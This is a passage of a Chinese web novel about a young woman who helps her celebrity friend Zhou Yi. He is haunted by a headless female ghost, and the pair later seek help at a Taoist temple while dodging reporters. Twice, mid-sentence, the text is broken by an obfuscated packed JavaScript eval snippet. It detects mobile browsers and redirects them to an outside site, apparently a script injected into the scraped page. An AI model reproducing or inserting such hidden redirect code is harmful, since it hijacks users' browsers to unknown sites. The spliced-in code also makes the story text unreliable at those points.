庄辰岚道:“再等一会儿。” 两人在门口又站了一会儿,里面仍然没有要开门的意思。 看来是真的不在。 庄辰岚道:“走吧。” 谁知她刚刚转身,身后就传来咔哒一声,房门“吱”得打开一条缝。 庄辰岚盯着那道漆黑的门缝,试探着喊了一声:“以?” 没人回应。 她往后推了一下门,谁知它竟毫无阻碍地打开又碰到屋内的墙上,这意味着门后根本空无一人。 那到底是谁开的门? “噫噫噫——”彦廷猛地退后,心中升起一种巨大的恐慌感,整个人紧紧贴在墙上,不肯前进一步:“我突然有种不祥的预感,劝你不要进去了。” 庄辰岚突然也有一种预感,那就是周以此刻就在里面。 “怕的话你先走。” 她本以为彦廷会不敢自己一个人下楼,谁知他踌躇了一会儿,竟然真的跑走了。 看来比起虽然空无一人但灯光正常的电梯,还是周以乌漆嘛黑的房间更让他害怕。 彦廷走之前还存了庄辰岚的联系方式,用他的话说,一是如果找到周以马上打电话联系他,二是怕她死里面没人知道。 听到电梯关闭的声音,庄辰岚轻手轻脚地走进眼前的房间。 周以的公寓是一个面积巨大的平层,但整个房间十分空旷,只有寥寥几件家具:一个沙发,一个小桌和一个冰箱,根本不像有人长期居住的样子。 月光和城市的霓虹灯光透过巨大的落地窗照进来,整个房间其实算不上黑暗,与在门外看到的情况完全不同。 庄辰岚打开入口处的电灯开关,天花板中央的灯光闪烁几下后又灭掉了,她又摁了两下,灯泡嘭的一声炸出火花,彻底报废了。 就在这时,庄辰岚敏锐的捕捉到了空气中第二个人的呼吸声,这声音短而急促,气若游丝,不仔细听根本察觉不到。 她屏住呼吸仔细分辨,这声音似乎从冰箱那边传来。 庄辰岚慢慢走过去,帆布鞋踩在木地板上无法避免地发出咯吱咯吱的声音。 走近一看,这冰箱居然比商场中最大的款式还要大,像是定制款。冰箱的电线从插座里拔了出来,看样子已经失去了制冷功能。 站在冰箱前,庄辰岚越发确定那声音就是从它的最底层发出来的。 她深吸一口气,猛地拉开门,然后就看到了这样一幕: 冰箱底层这不大不小的空间内正蜷曲着一个人,他穿着黑色的高定西装,尖头皮鞋的高跟抵在冰箱内壁上。他双手捂着自己的嘴,好像在竭力避免发出声音,原本精心造型的浅金色卷发也已十分散乱,被冷汗打湿,丝丝缕缕地黏在额头与脸颊。 “以?”庄辰岚震惊道,“你怎么在冰箱里?” 谁知周以并没有要出来的意思,他圆睁着双眼,一副惊恐至极的样子。 “你这是什么表情?还不快出来。” 她朝周以伸出手,把他拽了出来。 重见天日的周以跪坐在地板上,大口大口喘着气,原本系着的绀绿色绸带也从头发上滑落下来。 “你跑冰箱里面干什么?”庄辰岚道,“还有你在发布会上说的那些话是什么意思?” “...没什么。” “为什么手机也不带就跑出来了?” “只是忘了。” “说谎,你到底怎么了?” 周以低着头,就像彦廷说的那样,无论怎么问,他就是什么也不说。 “你在害怕吗?” “......” “岚,你离我远一点吧,”周以仿佛下定巨大的决心,痛苦道,“我好像真的精神分裂了。” “啊?” 庄辰岚惊讶道:“什么精神分裂,我觉得你很正常啊。” “一直能看到不存在的人,也算是正常吗?” 庄辰岚震惊了:“不存在的人是什么意思?” “就是不符合常识的人——她没有头。”周以崩溃的捂住一只眼睛,“而且只有我能看到。” 庄辰岚感觉有点不对:“你再说详细一点。” “是一个女人,穿着红衣服,没有头,不,准确来说,是没有上半身。”周以眼中满是恐惧,“下午在重映会,她就那样站在观众席上,我实在受不了了,才……” 庄辰岚想象了一下那个场景,不免有些悚然,周以没有当场撂挑子走人真是有职业操守。 她道:“你觉得这是你精神分裂看到的?” “还能是因为什么?公司和医生那边都这么说,他们说这只是幻觉,让我不要多想。”周以崩溃的揪住自己的头发,“但是该怎么不想啊?我做不到,他们也没说办法啊。” “你先冷静。”庄辰岚试图让周以紧绷的精神缓和下来,“吃药了吗?” 周以摇了摇头:“他们说这种药对脑子和身体都不好,会发胖走形,不让我吃。” “彦廷他们吗? 周以点了点头:“你知道他?” 庄辰岚不答反问:“你不觉得你这是撞鬼了吗?” 红衣女人,注视的眼神,异常的电梯,撕掉的钟馗像...... 周以睁大眼睛,一副刷新世界观的表情:“哈?” 庄辰岚道:“我本来是跟彦廷一起来的,但半路他又走了,你知道为什么吗?” 周以奇怪地盯着她,缓缓摇了摇头:“为什么?” “因为他觉得这栋楼里闹鬼——我们来的时候外面黑漆漆的,一个灯都没有。” “应该是定期维修吧,或者是停电了。” “所以啊,这点程度就觉得有鬼魂作祟,他们明明是最信这个的,”庄辰岚道,“你遇到的这种情况更蹊跷,他们却说只是精神问题,是精神问题也有道理,但还不让吃药,摆明就是懒得管你,随便找个搪塞的借口,你也是个傻的,他们说什么你信什么。” 她把周以扶到沙发上:“明天我带你去找个大师看看。” 周以忐忑道:“但是世界上怎么可能会有鬼啊?” “就算没有,试试也没什么坏处。” 周以沉默片刻:“我又没做过坏事,为什么来找我。” “它们缠住谁可是不需要理由的,可能单纯就是因为你某段时间水逆倒霉。” “那我们该去找谁?去寺庙会有用吗?” “在这之前你先详细跟我说说,比如你是从什么时候开始看见她的。” 周以陷入回忆:“大概是两年前拍生楼的时候,她最开始只是出现在我梦里。” “梦见她的时候我会鬼压床,连舌头都动不了,那个女人就会站在远处,虽然她没有头,但是我就是能感觉到她在看我……” “每次做这个梦,她都会离我更近一点,直到她站在我的床尾,我这才发现不仅是头,她整个胸腔以上都是空的,但是却有双手在空中来回摆...我想闭眼,但是闭不了,双眼根本不受控制。” 说到这里,周以整双手都控制不住地颤抖起来。 庄辰岚握住他的手:“别怕,告诉我,她就一直这样站着,什么也没做吗?” “最开始她什么也不做,但是后来,她直接站到了我的身上,踩我的头,还掐我的脖子,但她离我这么近,我却看不清她,就在我快要窒息的时候,梦就醒了。” 周以似乎想到什么,慌乱地开始解自己的领带,由于双手颤抖,他解了好几次才解开。 周以扯开衬衫的衣领,只见他颀长的脖子上有许多黑紫交错的指印,在白皙的皮肤上格外显眼。 庄辰岚一惊,她凑近仔细观察,这些痕迹呈均匀的长条状,确实就是人为的勒痕。 与此同时,她惊讶道:“都这样了,你还觉得她是你幻想出来的?” “我以为这是我睡觉的时候精神分裂自己掐的。” 逻辑还挺自洽的。 “你把自己的手放在上面我看看。” 周以依言将自己的手指与痕迹尽量重合。 庄辰岚仔细比对:“明显不是你的手指,这些指印比你的小和细很多,确实像,呃,女人的手。” 如她所料,周以看起来更害怕了。 庄辰岚道:“你拍戏的时候,没有去过什么鬼宅和闹鬼的酒店吧。” “我不知道。” “你没带什么奇怪的东西吧,手串,佛牌什么的。” “没有。” 庄辰岚叹了口气,那这是从哪招惹来的呢? 她灵光一闪:“不会是有人给你下咒了吧?你想想有得罪过什么人吗?” “呃,那可能有点多。” “......” 庄辰岚道:“阿姨知道吗?” 周以低下头,长长的睫毛遮住瞳孔:“自从我爸去世后,她就再也没跟我说过几句话了,而且她也不酿酒了。” 房间一时陷入沉默。 庄辰岚转移话题:“照这样说那女人只会在你梦中出现?” “不,最近我开始在现实中看到她了。” “这是越来越严重了啊,只有你能看见?” 周以点了点头:“我在咖啡店,她就会站在我前面的桌子旁,我在拍摄,她就会站在摄像机后面,昨天我在发布会,她就一直在观众席上盯着我。” 周以的眼神中露出惊恐:“而且奇怪的是她总是正对着我,无论我从哪个方向看过去,她总是同一个样子。” “她不是没有上半身吗,正面反面不也差不多。” “那也应该有侧面吧,但是只要我尝试跑到她侧面,她就猛地又正面对我了,非常快,就像掉帧一样,刚才在公司,她就站在他们后面,我实在受不了,就跑回来了,我好像只有在非常小的空间里才不会看到她。” 所以他才会躲到冰箱里。 “在现实中她还会掐你吗?” “不会,但是到了晚上,她就会在门外徘徊,我能听到她光脚走路的声音,有时候,我感觉她甚至在墙壁上走路,”周以倒吸一口凉气:“后来慢慢的,她就开始敲门了,现在每晚都...我不行了,我真的要死了。” 周以似乎恐惧到了极点:“我有预感,只要开了门,我就必死无疑,我就永远要被她替代了。” “你不会被替代!”庄辰岚道,“你忘了吗,她不是你的幻想。” “都一样,总之我会被她杀死的。” “都说了你不会,是鬼魂的话就好解决多了。” 庄辰岚问道:“门口那个钟馗像是谁贴的?” “钟馗?那不是门神吗?” “谁告诉你这是门神?” “一个同事搬家把这个贴在了门上,嗯,一般贴在门上的不都是门神吗?他剩了几张就给我了。” “不,这是钟馗啊,”庄辰岚把画像拿出来,“旁边这不是写着呢吗?” “啊,好像是,我没注意。” “不过你这个同事做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214401|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么的要把钟馗贴门上,”她暗自思索,“或者说,他看出了什么,在提醒你。” 可惜周以是个无鬼论者,即使事情诡异到如此地步,他也根本就不往这个方面想。 “那,我们要去找他吗?”周以头疼道,“不过如果还有其他办法的话,我真的不想再跟他有联系。” “你跟他关系不好?” “嗯。” “他叫什么?” “......梁家谦,谦曜的老板。” 原来是是挖匪石墙角的梁老板。 周以道:“对了,岚,你饿吗,冰箱里有吃的,我给你热点儿。” 他这么一说,庄辰岚还真感觉肚子空的厉害: “谢了。” 周以从冰箱拿出两盘速食寿司放进微波炉,又将平日总会由团队精心造型的浅金色卷发随意扎起来,露出纤长的后颈。 庄辰岚道:“不是说港岛娱乐圈最信风水鬼神吗?你怎么也没近朱者赤近墨者黑?” “我不太跟他们交流,没注意过。” 想起X帖子里对周以的评价,庄辰岚便没再说了。 她看向门口的位置:“今天倒是很安静。” 话音刚落,一阵巨大的敲门声响起。 周以吓了一跳,崩溃道:“岚,你真的有点乌鸦嘴了。” “……我的错。” 敲门声在寂静空旷的房间里显得格外巨大,庄辰岚小心翼翼地走到门口:“谁?” “是我,彦廷,周以手机还在我车上呢,我给他送来了,快开门。” 庄辰岚这才想起自己确实又把周以手机给忘了,松了口气刚要开门,心中突然升起一种不详的感觉。 “等等。”她对门外喊道:“你不是不敢进来吗?” 门外顿了几秒,回答道:“我彦廷,手机送来了,快开门啊。” 庄辰岚额头沁出冷汗,又重复了一遍:“你不是不敢进来吗?” “......” 停顿片刻,门外依旧自顾自道:“我彦廷,快开门啊。” 两人身上都起了一层鸡皮疙瘩。 庄辰岚喊道:“你不是彦廷,你到底是谁?” 门外的声音还在重复: “快开门啊。” “快开门啊。” “快开门啊!” 这声音像一个重复播放的录音带,且随着重复次数的增加越来越扭曲失真,叫人牙酸。 庄辰岚喊道:“别装了!你根本不是彦廷!” 听到这句话,门外沉默了好一阵,就在两人都以为她要放弃时,又一个女声传来: “以,快开门啊。” ——庄辰岚的声音。 一瞬间,庄辰岚和周以感觉头发都要炸开了。 这东西居然还敢假扮自己,庄辰岚登时就想拉开门看看这究竟是个什么玩意。 就在她把手放在门把上刚要转下去时,周以猛地拉住她,崩溃地阻止道: “别开,别开,求你,我会死的!” 门外的东西好像知道自己又被识破了,泄愤般“嘣”的一声砸门后,房间又回到一片死寂,只剩两人站在门前喘着粗气。 微波炉发出叮的一声,又把刚刚调整好情绪的周以吓得一激灵。 这反应把两人都逗笑了,或许这也是一种苦中作乐。 庄辰岚走过去,捏起一个寿司扔进嘴里,清甜的米饭让她心情放松了不少。 “看吧,我也能听见,说明她不是你的幻想。而且刚才如果开了门,它早就被我打散了。” “我觉得如果开了,我们都会死。” “不会,因为我会捉鬼。” 周以抬起头,一脸茫然且不可思议地看着她。 “是真的,我为什么要骗你。” “什么时候?” “也就是最近一两年吧。” “这几年我们都疏远了。” “疏远什么啊,明明每天在群里聊天。” 周以轻笑一声。 “那你知道她为什么要来找我吗?” “这个我不知道。我只会解决问题,而不是解开问题。” “但是我想知道前因后果。” “知道太多,也许对你不好。” “我不怕,我就是想知道我到底哪里惹到她了。” 既然如此,庄辰岚想,要不要带他去天问? 但在看不透这个组织的情况下,她不太想欠他们人情。 而且周以这个情况虽然看着吓人,但是这么久了也没危及生命,应该算不上什么极凶的恶鬼,也应该用不上什么顶级的大师,何况港岛风水鬼神业极为发达,在本地找个靠谱的术师估计并不困难。 于是她道:“以,你在娱乐圈混了这么多年,应该知道点儿大师的门路吧?” 周以想了想:“应该是有,在慈仙观那里。” “慈仙观,记住了,我们明天就去看看,今天先休息吧。” 她环视四周:“床呢?” “没有床,”周以指指沙发,“我平时就睡这里,跟床差不多——我今天睡地板吧。” “你这身体素质,睡地板再睡出毛病,过来挤挤吧,反正就一晚上。” 二人身高四舍五入都有一米八,脚对头躺在沙发上,幸亏这个沙发足够宽。 庄辰岚闭上眼睛复盘,突然一下睁开眼,腾的坐了起来。 周以吓了一跳,也在另一头坐起来:“怎么了?” “忘了件事,还没跟彦廷打电话呢。” 希望他不会以为自己真死里面了。 39.港岛4 “喂,你说的很厉害的地方是这儿?” 庄辰岚看着慈仙观外一溜的算命摊子,有点想打开周以的脑子看看里面到底装的是什么。 “这里不行吗?” “你但凡进到观里呢,都比这靠谱吧。” “靓女,靓仔,来算一卦吗?” 一个带着墨镜和牛仔帽的中年男人朝二人挥了挥手。 周以同样带着墨镜口罩和帽子:“你都能算什么?” 庄辰岚道:“多少钱?” “哎,先过来先过来,坐下再说嘛。”牛仔帽大师拿出两个小马扎,作出一个请的手势,周以便走了过去。 大师伸出三个手指头:“一次三十,不准不......” “这么便宜?“周以吃惊道,“能准吗?” 庄辰岚道:“三十还便宜?” 大师脸上的表情一时非常精彩:“我这儿还有三百,三千,三万的,没上限,你要算哪个档次?” “是越贵越准吗?那我选三万......” 庄辰岚捂住他的嘴:“就算三十的。” “行,您要觉得准,再给我加钱也成。” 大师拿出一个笔记本:“谁要算,就在这写上谁的生辰八字。” 周以接过笔,写上了自己的出生年月。 大师看着这一串数字,拿出手机,打开了八字排盘宝。 庄辰岚不禁腹诽,要是庄海月在这儿准要吐槽了——这么简单还要用软件。 大师看了一会儿,赞叹道:“哇,八字水旺,人帅多金。” 周以急忙道:“我不是要算这个。” “哦哦哦,”大师恍然大悟,“算桃花是吧,我看你......” “也不是!”周以道,“我要你算跟着我的那个女鬼是怎么回事!” “女鬼?!”大师愣住了,他看着旁边的庄辰岚,脸上的表情十分精彩。 庄辰岚道:“我不是。” 大师擦了擦脑门上的汗:“我是命理师,你让我算这东西,这也专业不对口啊。” 周以道:“你们不是一回事吗?” “这怎么可能是一回事啊,医生跟兽医能是一回事?你要想看这个,就去找个道士和尚看看,”他转头抬了抬下巴,“这不后面就是个观吗,你进去求个签,再找个道士解解。” 周以看向庄辰岚:“抱歉,我还以为他们都是一样的。” 庄辰岚看向大师:“那你退钱吧。” “退钱,退,你都给了我咋给你退钱,就三十你还要我给你退,刚才这个帅哥还说少呢,我在这给你俩说明情况是不是也要功夫,你们——等等,”大师伸长脖子,往上推了一下墨镜,“你有点眼熟啊,你——” “行了行了,我不要了。”周以连忙拉着庄辰岚离开。 他往下拉了拉帽檐:“我们去观里吧。” 庄辰岚道:“你一定要知道为什么吗,我直接帮你把她打散得了。” “不要,”周以道,“我一定要知道为什么。” 慈仙观门票十块钱一张,周以又买了几捆线香,准备去主殿祭拜。 不知怎的,庄辰岚突然想起姚枝有关御和宫的言论。 她道:“别的我不知道,如果你哪天去了京都御和宫,千万别拜。” “为什么?” 庄辰岚犹豫了一会儿:“因为殿里的不是正神,是妖精,许愿是要付出代价的。” “是吗?岚为什么会知道这么多?” 庄辰岚假装没听见,她往前推了推周以:“快点,该你去求签了。” 穿着灰蓝色道袍的道士递过来一个签筒,对周以道:“你若是真心求签,就把脸上的东西全摘下来吧。” 周以没想到还有这么一环,他在墨镜后左右看了看,周围的人并不多,要么在合眼祭拜,要么在他身后排队求签,应该都不会注意到他。 周以摘下墨镜和口罩,露出那张在热搜上挂了好几天的脸。 这下轮到道士懵了,他睁大眼睛,张了张嘴,似乎想说什么,但还是什么都没说,把签筒交到周以手上。 周以虔诚的闭上眼睛,摇晃了几下签筒,从里面抽出一支——第四十二签。 周以拿着签,百思不得其解:“这是什么意思?” “具体的情况你要去问解签师兄,”道士回答,“我只知道这第四十二签名为,黄粱一梦。” “真的吗?好巧。”周以道,“我家就是酿黄粱酒的。” “嗯……嗯。”道士不知道说什么好,“你是周以吗?” “啊?啊,不是我,我是说,你认错了。”周以口不择言。 庄辰岚走上前来:“别聊天了,走吧,去那边排队。” 求签排队,解签还要排队,周以重新戴上墨镜和口罩,二人在队伍里慢慢向前移动。 轮到他们的时候,同样穿着灰蓝色道袍的解签师兄拿起那根签,把一本书翻到第四十二签的位置。 “黄粱一梦……” 周以道:“这是吉签还是凶签?” “中签。” “什么意思?” 庄辰岚道:“不好不坏。” “这不跟没说一样吗?” 解签师兄道:“是梦,便迷幻诡谲,道友,你近期所遇之事,或许离奇,但也要知道,梦终有一醒,所以放手一搏,未必不是一件坏事。” 周以突然兴奋道:“好准啊。”他看向庄辰岚:“他们肯定能帮我。” 周以道:“道长,我最近确实遇到一件……” “道友,”道长打断他,“后面还有排队解签的人,你要是有什么事,等我解完签再说吧。” 周以一愣:“啊...好的。” 庄辰岚看向殿外:“怎么感觉人越来越多了,现在不是中午饭点吗?” 她下意识打开灵端看时间,瞬间了然:“以,你又上热搜了,我是说,你又更新话题了。” “啊?” 庄辰岚把屏幕举到他面前: #周以慈仙观求签# #周以重映会风波后首现身# #周以养小鬼# 庄辰岚啧了一声:“不会是那个臭道士抖露出去的吧。” 周以疑惑道:“为什么说我有孩子啊?” 庄辰岚服了:“小鬼不是指小孩,那是真小鬼。” “养鬼?为什么这么说我?” “你不用知道,天下什么谣言没有,不过公众人物能不能有点自觉,不要逮着人就聊天,这下好了。”庄辰岚奇道,“真不知道网上有关你高冷的传言是怎么来的。” 周以低下头:“跟岚在一起我有点儿开心过头了,真的抱歉,以后不会了。” 他这么一说,庄辰岚反倒有点愧疚了:“我不是那个意思,算了,咱们现在躲一躲,别被他们抓到了。” 她看到外面还有扛摄像机的:“这么大阵仗?记者都来了。” 周以探头往殿外看了一眼,瞬间又缩了回来:“完了,是她,被她盯上肯定逃不了。” “那个记者?” “嗯,港岛最厉害的记者。” 庄辰岚刚想说有那么厉害吗,就见她目光如炬地朝这边看来,眼里仿佛射出两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259799|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道精光。 庄辰岚赶紧拉起周以:“跑跑跑!” 二人贴着墙,从殿后跑出去,钻进一片竹林,作为慈仙观最南边的角落,这里本该人迹罕至,但如今也有不少人在此举着手机和相机。 周以边跑边道:“虽然不想泼冷水,但我们还是投降吧,上次我同事钻到桌布底下都被她找出来了。” “闭嘴,我才不信她的邪。” 她一掏兜,突然摸到一个软软的东西,拿出来一看,是上次出任务时迟予知给的隐身符! 真是及时雨啊!庄辰岚仿佛看到一线生机,就是不知道它还能不能用。 她心中默念着佛祖保佑祖先保佑罗浮保佑地在镯子上擦了一下,符咒亮起红光——还能用! 庄辰岚大喜过望,停下脚步,把它交给周以:“拿着它,别人就看不见你了!” 周以迟疑地接过去:“真的?” “千真万确,”跑了这么久,庄辰岚撩了撩被吹飞的刘海,“什么小记者,还想跟我玩。” 果然,周以拿着符,来来往往的人都像没看到他一样,当那位传说中无往不胜的记者从二人身边擦肩而过时,周以兴奋道:“好厉害!真的看不见!” 庄辰岚拍拍他的肩膀:“恭喜你啊,成为从她手下逃脱的第一人,回去吹牛吧。” 太阳西斜,云霞逐渐变成金黄色,已经快到闭观的时间了,前来捉拿周以的各路好汉也不得不铩羽而归。 符咒上的红光已十分暗淡,看样子大家都到极限了。 看着黑漆漆的符纸,蓦地,庄辰岚突然意识到一个问题——这是迟予知用怨气催动的符咒,为什么她也能用裂骨催动? 之前黄色的缩地千里符是用灵力催动的,按道理说一个法器只能有一种力量体系,为什么裂骨能做到两个都能催动? 再加上之前迟予知说它是狭间里的东西...... 周以看着停下脚步,双眼直勾勾的庄辰岚,担心道:“岚,怎么了?” 庄辰岚没有回话。 “岚!” 庄辰岚一激灵,缓过神来:“没事,去殿里吧。” 殿里的解签道士还在等他们,没等二人说话,就先一步道:“你们跟我去师父那里吧。” 二人跟着道士穿过几个神殿,又走过一条小道,来到一处低矮的房屋前,这里竹影掩映,倒真有闭关修炼之所的感觉。 走进院子,只见一个鹤发老道正在扎马步。 道士朝他颔首:“师父。” 又向庄辰岚和周以介绍:“这是慈仙观的观主灵柯道长。” “道长好。” 灵柯道长点了点头,道士便出去了,可他仍然维持着合眼扎马步的造型,剩下庄辰岚和周以大眼瞪小眼。 “那个,道长,”庄辰岚率先打破沉默,“我们有事相求。” “我知道,我知道。”灵柯师父道。 几分钟后,他站起身,走进屋里,给自己倒了杯茶:“是那位先生吧,去到祖师爷的画像前磕个头。” 灵柯道长拿过几柱香,在画像前的香炉点燃,然后坐在旁边的黑木太师椅上。 周以摘下墨镜和口罩,在袅袅的香烟中拜了三拜。 灵柯道长突然开口:“你怎么…” “啊?”周以惶恐道,“拜的不对吗?” “你怎么直接跪下了,”他指了指桌子底下,“这儿有蒲团。” “…没事,我不疼。” 灵柯道长的眼睛望着天花板,右手开始掐算,半晌才道:“小伙子,你身边确实跟着一个,而且呀,猴赛雷,非常严重啊。”